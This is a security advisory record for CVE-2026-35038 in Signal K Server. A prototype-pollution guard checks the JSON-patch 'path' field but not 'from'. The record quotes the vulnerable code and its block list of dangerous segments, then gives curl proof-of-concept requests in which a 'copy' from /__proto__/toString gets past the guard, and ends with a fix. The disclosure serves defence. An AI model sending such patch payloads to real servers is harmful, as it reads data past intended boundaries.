{"id":"GHSA-qh3j-mrg8-f234","summary":"Signal K Server: Arbitrary Prototype Read via `from` Field Bypass","details":"## Summary \n\nThe /signalk/v1/applicationData/... JSON-patch endpoint allows users to modify stored application data. To prevent Prototype Pollution, the developers implemented an isPrototypePollutionPath guard. However, this guard only checks the path property of incoming JSON-patch objects. It completely fails to check the from property. Because JSON-patch operations like copy and move extract data using the from property path, an attacker can construct a payload where from targets /__proto__/someProperty, completely evading the security check and successfully executing an Arbitrary Prototype Read.\n\nWhile this does not allow arbitrary code execution (as the destination path remains protected from __proto__), it does allow a user to exfiltrate internal Node functions and prototype state into their own application data.\n\n## Vulnerability Root Cause \n\nFile: src/interfaces/applicationData.js (Lines 48-57)\n```\nconst DANGEROUS_PATH_SEGMENTS = ['__proto__', 'constructor', 'prototype']\n\nfunction isPrototypePollutionPath(pathString) {\n  const segments = pathString.split(/[./]/)\n  return segments.some((seg) =\u003e DANGEROUS_PATH_SEGMENTS.includes(seg))\n}\n\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    // [!VULNERABLE] Only checks patch.path, completely ignores patch.from\n    (patch) =\u003e patch.path && isPrototypePollutionPath(patch.path) \n  )\n}\n```\nAt Line 201:\n```\nif (hasPrototypePollutionPatch(req.body)) {\n  res.status(400).send('invalid patch path')\n  return\n}\njsonpatch.apply(applicationData, req.body) // jsonpatch natively resolves 'from'\n\n```\n## Proof of Concept (PoC)\n\nVerify the Developer Guard Works (The Blocked Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"add\", \"path\": \"/__proto__/polluted\", \"value\": \"hacked\"}]'\n```\nResult: 400 Bad Request - invalid patch path\n\nExecute the Bypass (The Malicious Payload):\n```\ncurl -X POST http://localhost:3000/signalk/v1/applicationData/global/testapp/1.0 \\\n  -H \"Content-Type: application/json\" \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -d '[{\"op\": \"copy\", \"from\": \"/__proto__/toString\", \"path\": \"/stolen\"}]'\n```\nResult: 200 OK - ApplicationData saved The security guard is bypassed and the json-patch engine successfully copies the __proto__ internal function reference.\n\n\u003cimg width=\"1222\" height=\"230\" alt=\"Screenshot 2026-03-24 150440\" src=\"https://github.com/user-attachments/assets/5ae580fd-284f-4bef-adc8-31b50b8751b6\" /\u003e\n\n## Security Impact\nThis vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should.\n\n## Fixing Arbitrary Prototype Read\n\nThe hasPrototypePollutionPatch function must be updated to inspect ALL path-related fields:\n```\nfunction hasPrototypePollutionPatch(patches) {\n  return patches.some(\n    (patch) =\u003e \n      (patch.path && isPrototypePollutionPath(patch.path)) ||\n      (patch.from && isPrototypePollutionPath(patch.from))\n  )\n}\n```","aliases":["CVE-2026-35038"],"modified":"2026-04-03T04:26:26.749154Z","published":"2026-04-03T04:04:22Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-03T04:04:22Z","nvd_published_at":"2026-04-02T17:16:27Z","cwe_ids":["CWE-125","CWE-20","CWE-200"],"severity":"LOW"},"references":[{"type":"WEB","url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-35038"},{"type":"PACKAGE","url":"https://github.com/SignalK/signalk-server"},{"type":"WEB","url":"https://github.com/SignalK/signalk-server/releases/tag/v2.24.0"}],"affected":[{"package":{"name":"signalk-server","ecosystem":"npm","purl":"pkg:npm/signalk-server"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.24.0"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-qh3j-mrg8-f234/GHSA-qh3j-mrg8-f234.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}